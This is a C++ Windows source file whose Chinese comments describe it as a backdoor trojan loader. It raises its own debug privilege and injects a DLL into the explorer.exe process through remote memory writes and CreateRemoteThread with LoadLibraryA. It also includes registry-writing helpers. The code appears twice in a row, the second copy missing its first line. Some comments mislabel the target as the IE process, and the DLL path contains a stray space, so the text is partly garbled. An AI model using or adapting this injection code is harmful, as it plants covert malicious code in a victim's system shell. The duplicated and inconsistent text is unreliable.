001 #include "stdafx.h"
002 #include <windows.h>
003 #include <Tlhelp32.h>
004
005 /**
006 * 提升后门自身权限
007 */
008 bool EnableDebugPriv(const char * name)
009 {
010 HANDLE hToken;
011 TOKEN_PRIVILEGES tp;
012 LUID luid;
013 if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken)) return false;
014 //获得进程本地唯一ID
015 if(!LookupPrivilegeValue(NULL, name, &luid)) return false;
016 tp.PrivilegeCount = 1;
017 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
018 tp.Privileges[0].Luid = luid;
019 //调整进程权限
020 if(!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return false;
021
022 return true;
023 }
024 /**
025 * 将dll注入某进程
026 * @param DllFullPath 后门木马
027 * @param dwRemoteProcessId 进程编号
028 */
029 bool InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
030 {
031 HANDLE hRemoteProcess, hRemoteThread;
032 if(!EnableDebugPriv(SE_DEBUG_NAME)) return false;
033
034 //打开目标进程
035 if((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId)) == NULL) return false;
036
037 char *pszLibFileRemote;
038 pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
039 if(pszLibFileRemote == NULL) return false;
040
041 //把DLL的完整路径写入到内存
042 if(WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void*)DllFullPath, lstrlen(DllFullPath) + 1, NULL) == 0) return false;
043
044 //得到LoadLibraryA函数地址
045 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
046 if(pfnStartAddr == NULL) return false;
047
048 if((hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL)) == NULL) return false;
049
050 return true;
051 }
052 /**
053 * 获取某进程编号
054 * @param ProcessName 进程名
055 * return 如果失败则返回0
056 */
057 DWORD GetProcessID(char *ProcessName)
058 {
059 PROCESSENTRY32 pe32;
060 pe32.dwSize = sizeof(pe32);
061 //得到系统内所有进程快照
062 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
063 if(hProcessSnap == INVALID_HANDLE_VALUE) return 0;
064 //枚举列表中的第一个进程
065 BOOL bProcess = Process32First(hProcessSnap, &pe32);
066 while(bProcess)
067 {
068 if(strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
069 //if(strcmp(pe32.szExeFile, ProcessName) == 0)
070 {
071 //return pe32.th32ParentProcessID;
072 return pe32.th32ProcessID;
073 }
074 //继续查找下一个
075 bProcess = Process32Next(hProcessSnap, &pe32);
076 }
077 CloseHandle(hProcessSnap);
078
079 return 0;
080 }
081 /**
082 * 修改字符串类型键值
083 */
084 BOOL CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)
085 {
086 HKEY hKey;
087 //打开注册表键,不存在则创建它
088 long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
089 if (lRet!=ERROR_SUCCESS) return false;
090
091 //修改注册表键值,没有则创建它
092 lRet=RegSetValueEx(hKey,ValueName,0,REG_EXPAND_SZ,(BYTE*)Data,strlen(Data));
093 if (lRet!=ERROR_SUCCESS) return false;
094
095 RegCloseKey(hKey);
096 return true;
097 }
098 /**
099 * 用于修改数字类型键值
100 */
101 BOOL CreateDWORDReg(HKEY hRoot,char *szSubKey,char* ValueName,DWORD Data)
102 {
103 HKEY hKey;
104 //打开注册表键,不存在则创建它
105 long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
106 if (lRet!=ERROR_SUCCESS) return false;
107
108 DWORD dwSize=sizeof(DWORD);
109 //修改注册表键值,没有则创建它
110 lRet=RegSetValueEx(hKey,ValueName,0,REG_DWORD,(BYTE*)&Data,dwSize);
111 if (lRet!=ERROR_SUCCESS) return false;
112
113 RegCloseKey(hKey);
114 return true;
115 }
116
117
118 int main(int argc, char* argv[])
119 {
120 char DllPath[255];
121 //得到IE进程
122 DWORD Pid=GetProcessID("EXPLORER.EXE");
123 //得到程序自身路径
124 GetCurrentDirectory(sizeof(DllPath), DllPath);
125 //得到DLL带路径文件名
126 strcat(DllPath, " \\InjectDLL.dll");
127 //注入IE进程
128 if(Pid) InjectDll(DllPath, Pid);
129
130 return 0;
131 }
002 #include <windows.h>
003 #include <Tlhelp32.h>
004
005 /**
006 * 提升后门自身权限
007 */
008 bool EnableDebugPriv(const char * name)
009 {
010 HANDLE hToken;
011 TOKEN_PRIVILEGES tp;
012 LUID luid;
013 if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken)) return false;
014 //获得进程本地唯一ID
015 if(!LookupPrivilegeValue(NULL, name, &luid)) return false;
016 tp.PrivilegeCount = 1;
017 tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
018 tp.Privileges[0].Luid = luid;
019 //调整进程权限
020 if(!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) return false;
021
022 return true;
023 }
024 /**
025 * 将dll注入某进程
026 * @param DllFullPath 后门木马
027 * @param dwRemoteProcessId 进程编号
028 */
029 bool InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
030 {
031 HANDLE hRemoteProcess, hRemoteThread;
032 if(!EnableDebugPriv(SE_DEBUG_NAME)) return false;
033
034 //打开目标进程
035 if((hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId)) == NULL) return false;
036
037 char *pszLibFileRemote;
038 pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
039 if(pszLibFileRemote == NULL) return false;
040
041 //把DLL的完整路径写入到内存
042 if(WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void*)DllFullPath, lstrlen(DllFullPath) + 1, NULL) == 0) return false;
043
044 //得到LoadLibraryA函数地址
045 PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");
046 if(pfnStartAddr == NULL) return false;
047
048 if((hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL)) == NULL) return false;
049
050 return true;
051 }
052 /**
053 * 获取某进程编号
054 * @param ProcessName 进程名
055 * return 如果失败则返回0
056 */
057 DWORD GetProcessID(char *ProcessName)
058 {
059 PROCESSENTRY32 pe32;
060 pe32.dwSize = sizeof(pe32);
061 //得到系统内所有进程快照
062 HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
063 if(hProcessSnap == INVALID_HANDLE_VALUE) return 0;
064 //枚举列表中的第一个进程
065 BOOL bProcess = Process32First(hProcessSnap, &pe32);
066 while(bProcess)
067 {
068 if(strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
069 //if(strcmp(pe32.szExeFile, ProcessName) == 0)
070 {
071 //return pe32.th32ParentProcessID;
072 return pe32.th32ProcessID;
073 }
074 //继续查找下一个
075 bProcess = Process32Next(hProcessSnap, &pe32);
076 }
077 CloseHandle(hProcessSnap);
078
079 return 0;
080 }
081 /**
082 * 修改字符串类型键值
083 */
084 BOOL CreateStringReg(HKEY hRoot,char *szSubKey,char* ValueName,char *Data)
085 {
086 HKEY hKey;
087 //打开注册表键,不存在则创建它
088 long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
089 if (lRet!=ERROR_SUCCESS) return false;
090
091 //修改注册表键值,没有则创建它
092 lRet=RegSetValueEx(hKey,ValueName,0,REG_EXPAND_SZ,(BYTE*)Data,strlen(Data));
093 if (lRet!=ERROR_SUCCESS) return false;
094
095 RegCloseKey(hKey);
096 return true;
097 }
098 /**
099 * 用于修改数字类型键值
100 */
101 BOOL CreateDWORDReg(HKEY hRoot,char *szSubKey,char* ValueName,DWORD Data)
102 {
103 HKEY hKey;
104 //打开注册表键,不存在则创建它
105 long lRet=RegCreateKeyEx(hRoot,szSubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,NULL);
106 if (lRet!=ERROR_SUCCESS) return false;
107
108 DWORD dwSize=sizeof(DWORD);
109 //修改注册表键值,没有则创建它
110 lRet=RegSetValueEx(hKey,ValueName,0,REG_DWORD,(BYTE*)&Data,dwSize);
111 if (lRet!=ERROR_SUCCESS) return false;
112
113 RegCloseKey(hKey);
114 return true;
115 }
116
117
118 int main(int argc, char* argv[])
119 {
120 char DllPath[255];
121 //得到IE进程
122 DWORD Pid=GetProcessID("EXPLORER.EXE");
123 //得到程序自身路径
124 GetCurrentDirectory(sizeof(DllPath), DllPath);
125 //得到DLL带路径文件名
126 strcat(DllPath, " \\InjectDLL.dll");
127 //注入IE进程
128 if(Pid) InjectDll(DllPath, Pid);
129
130 return 0;
131 }